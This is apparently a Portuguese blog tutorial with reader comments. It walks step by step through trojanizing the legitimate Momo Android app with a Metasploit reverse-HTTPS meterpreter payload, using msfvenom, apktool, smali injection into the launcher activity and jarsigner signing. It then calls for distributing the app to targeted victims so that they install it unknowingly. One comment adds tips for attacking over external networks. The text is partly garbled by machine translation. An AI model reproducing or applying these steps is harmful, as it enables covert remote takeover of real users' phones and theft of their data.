Neste artigo, falaremos sobre a criação de um APK malicioso a partir de um legítimo para obter acesso ao dispositivo Android no qual está instalado. Em primeiro lugar, é necessário definir a aplicação com a qual se deseja trabalhar e baixá-la, para fins práticos, neste artigo tomaremos como exemplo o app Momo (immomo.com/download/momo.apk) que é utilizado por milhões de pessoas no mundo, especialmente nos países asiáticos. Posteriormente, o aplicativo malicioso pode ser criado usando os recursos disponíveis no Framework Metasploit.Graças ao utilitário “msfvenom”, uma carga útil pode ser gerada especificamente focada em aplicativos Android. O objetivo é obviamente injetar a carga gerada pelo msfvenom no aplicativo legítimo, de maneira semelhante ao que fazemos com executáveis PE ou ELF para sistemas Windows e GNU / Linux ao aplicar a técnica de “code caving”. Usando uma ferramenta como o "apktool", você pode descompilar e descompilar o APK legítimo e o APK gerado pelo metasploit e, com ambos os exemplos, um novo APK é construído a partir do aplicativo legítimo, mas injetando a carga útil do Metasploit de forma que o aplicativo original continua a funcionar normalmente.
O que foi explicado acima pode ser colocado em prática seguindo o seguinte procedimento.
1. Primeiro, o APK malicioso deve ser gerado com o Metasploit Framework.
> msfvenom -p android / meterpreter / reverse_https LHOST = xxxx LPORT = 4444 -o /home/adastra/meterpreter.apk
I- Nenhuma plataforma foi selecionada, escolhendo Msf :: Módulo :: Plataforma :: Android na carga útil
I-Nenhum arco selecionado, selecionando Arch: dalvik da carga útil
I-Nenhum codificador ou badchars especificados, gerando carga útil bruta
I-Tamanho da carga útil: 9295 bytes
I-Salvo como: /home/adastra/meterpreter.apk
2. Em seguida, procedemos ao download do aplicativo que, como dito antes, neste caso será Momo (immomo.com/download/momo.apk) e procedemos à descompactação e descompilação de tudo com Apktool https: // ibotpeaches .github.io / Apktool /
> apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk
I: Usando Apktool 2.1.0-a7535f-SNAPSHOT em momo_6.7_0413_c1.apk
I: Carregando tabela de recursos ...
I: Decodificando AndroidManifest.xml com recursos…
I: Carregando a tabela de recursos do arquivo:
/home/adastra/apktool/framework/1.apk
I: Pacote de manifesto regular ...
I: Decodificando recursos de arquivo ...
I: Decodificando valores * / * XMLs…
I: Aulas de culinária.dex…
I: Baksmaling classes2.dex…
I: Baksmaling classes3.dex…
I: Copiando ativos e libs ...
I: Copiando arquivos desconhecidos ...
I: Copiando arquivos originais ...
E então o APK gerado pelo Metasploit Framework.
> apktool d -f -o meterpreterDecompiled meterpreter.apk
I: Usando Apktool 2.1.0-a7535f-SNAPSHOT no meterpreter.apk
I: Carregando tabela de recursos ...
I: Decodificando AndroidManifest.xml com recursos…
I: Carregando a tabela de recursos do arquivo:
/home/adastra/apktool/framework/1.apk
I: Pacote de manifesto regular ...
I: Decodificando recursos de arquivo ...
I: Decodificando valores * / * XMLs…
I: Aulas de culinária.dex…
I: Copiando ativos e libs ...
I: Copiando arquivos desconhecidos ...
I: Copiando arquivos originais ...
3. Em seguida, os arquivos descompilados correspondentes à carga útil são copiados diretamente para o aplicativo original descompilado. Especificamente, os arquivos localizados em:
<meterpreter_apk> / smali
No livro de endereços:
<momo_apk> / smali
Desta forma, quando o aplicativo APK original for recompilado novamente, ele terá a carga útil correspondente dentro. Porém, até o momento o código dessa carga útil não será executável, pois o fluxo de execução da aplicação original ainda não foi alterado.
4. O gancho Meterpreter foi injetado no aplicativo original (陌 陌), mas para garantir sua execução, é necessário injetar a carga útil no código .smali.
Para fazer isso, você deve primeiro encontrar a "atividade" apropriada, que é declarada no arquivo "AndroidManifest.xml" do aplicativo original. Procure o inicializador de aplicativos:
<action android: name = ”android.intent.action.MAIN” />
<categoria android: name = ”android.intent.category.LAUNCHER” />
O atributo android: name da principal “atividade” do MoMo é: android: name = ”com.immomo.momo.android.activity.WelcomeActivity”
Em seguida, você deve editar o código da “atividade” principal do aplicativo, que como visto é “WelcomeActivity” e está localizado em
<momo_apk> / smali / com / immomo / momo / android / activity / WelcomeActivity
5. Uma vez aberto o código correspondente à atividade principal da aplicação, procede-se à procura da função "principal" da classe, que deve atender ao seguinte padrão:
; -> onCreate (Landroid / os / Bundle;) V
Na linha imediatamente seguinte, a chamada para a carga útil do Metasploit Framework deve ser incluída, que conterá o seguinte:
invoke-static {p0}, Lcom / metasploit / stage / Payload; -> start (Landroid / content / Context;) V
A aparência que essas instruções finalmente terão na atividade “WelcomeActivity” pode ser vista na imagem a seguir6. Antes de recompilar o aplicativo original com a carga injetada, é necessário definir as permissões apropriadas para que a carga possa ser executada corretamente. Essas permissões devem ser as seguintes:
7. Com as alterações anteriores, procedemos à recompilação do aplicativo original usando APKTool
> apktool b original / originalDecompiled /
I: Usando Apktool 2.1.0-a7535f-SNAPSHOT
I: Verificar se as fontes mudaram ...
I: Smaling pasta smali em classes.dex ...
I: Verificar se as fontes mudaram ...
I: Smaling pasta smali_classes3 em classes3.dex…
I: Verificar se as fontes mudaram ...
I: Smaling pasta smali_classes2 em classes2.dex…
I: Verificando se os recursos mudaram ...
I: Construindo recursos ...
I: Copiando bibliotecas… (/ lib)
I: Construindo o arquivo apk…
I: Copiando arquivos / dir desconhecidos…
O comando acima resultará na geração de um APK com todas as alterações feitas anteriormente no diretório <momo_apk> / original / dist
8. Por fim, o APK gerado na etapa anterior deve ser assinado com uma ferramenta como o JarSigner, importante para que o APK possa ser instalado no dispositivo.
> jarsigner -verbose -keystore ~ / .android / debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original / originalDecompiled / dist / momo_6.7_0413_c1.apk androiddebugkey
Nesse caso, o armazenamento de chaves padrão do Android Studio localizado em <HOME> /.android é usado.
9. Está tudo pronto, agora o APK deve ser distribuído para aqueles usuários que são o alvo da campanha, obviamente as técnicas adequadas devem ser aplicadas para que os usuários “mordam” e instalem o aplicativo em seu dispositivo. Antes de fazer isso, uma vez que o Framework Metasploit é usado com uma carga útil do tipo “meterpreter reverso”, é necessário iniciar o manipulador apropriado no IP / domínio especificado na propriedade LHOST que foi indicada ao gerar a carga útil.
Como pode ser visto na imagem anterior, quando o usuário instala o aplicativo em seu dispositivo, a carga injetada é executada logo após a invocação da atividade principal e o invasor obtém uma sessão de Meterpreter, mas o mais importante é : O aplicativo malicioso preserva o funcionamento do aplicativo legítimo, sem qualquer tipo de interferência ou comportamento anômalo que faça a vítima suspeitar, esta é sem dúvida a parte mais importante, já que o usuário não terá conhecimento do que está acontecendo e de Seu aplicativo Outlook funciona corretamente em seu dispositivo.
Foram apenas 9 etapas que nos permitiram compor um interessante vetor de ataque focado em aplicativos desenvolvidos para dispositivos Android e embora este procedimento se aplique a qualquer APK, é importante ter em mente que cada aplicativo pode ter características muito específicas que devem ser controladas. Por exemplo, no caso de o código ser ofuscado ou de serem usados frameworks devido ao seu próprio funcionamento, é necessário adotar uma abordagem diferente daquela explicada neste artigo, no entanto, o procedimento ainda é perfeitamente válido e aplicável a qualquer APK.
Nossa lek 😳 espero conseguir logo meu notebook novamente pra botar em prática isso rs
ResponderExcluirDa para fazer pelo Termux, ou UserLand bro, mas você terá que usar o ngrok pra fazer em rede externa.
ExcluirPostar um comentário